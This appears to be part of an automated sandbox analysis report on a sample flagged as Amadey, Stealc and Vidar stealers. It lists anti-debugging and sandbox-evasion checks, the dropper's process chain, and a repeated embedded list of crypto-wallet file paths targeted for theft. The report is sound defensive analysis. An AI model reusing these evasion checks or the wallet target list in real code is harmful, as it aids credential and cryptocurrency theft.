Source: skotes.exe, skotes.exe, 0000000C.00000002.2346314217.0000000000A97000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000E.00000002.3007023795.0000000000A97000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW4
Source: file.exe, 00000000.00000002.2218670347.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218670347.0000000000714000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000E.00000002.3008581192.0000000001259000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2219508748.000000000126F000.00000040.00000001.01000000.00000003.sdmp, DocumentsDHCFIDAKJD.exe, 00000009.00000002.2295798783.0000000000887000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2278296029.0000000000A97000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2305095716.0000000000A97000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000C.00000002.2346314217.0000000000A97000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000E.00000002.3007023795.0000000000A97000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\DocumentsDHCFIDAKJD.exe

Code function: 9_2_05090CD0 rdtsc

9_2_05090CD0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C4B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C4BC410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C48B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C48B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C48B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C48B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2080, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHCFIDAKJD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDHCFIDAKJD.exe "C:\Users\user\DocumentsDHCFIDAKJD.exe"	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000C.00000002.2346314217.0000000000A97000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000E.00000002.3007023795.0000000000A97000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Program Manager
Source: file.exe, file.exe, 00000000.00000002.2219508748.000000000126F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: mProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C48B341 cpuid

0_2_6C48B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.2.skotes.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.skotes.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DocumentsDHCFIDAKJD.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.skotes.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.skotes.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2278205057.0000000000891000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2305839714.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2237001499.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2906066493.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3006747902.0000000000891000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2264428926.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2292464781.0000000000681000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2205707440.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2346183428.0000000000891000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2304893190.0000000000891000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1763800423.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2219111350.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2218670347.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2080, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2080, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2219111350.0000000000F45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
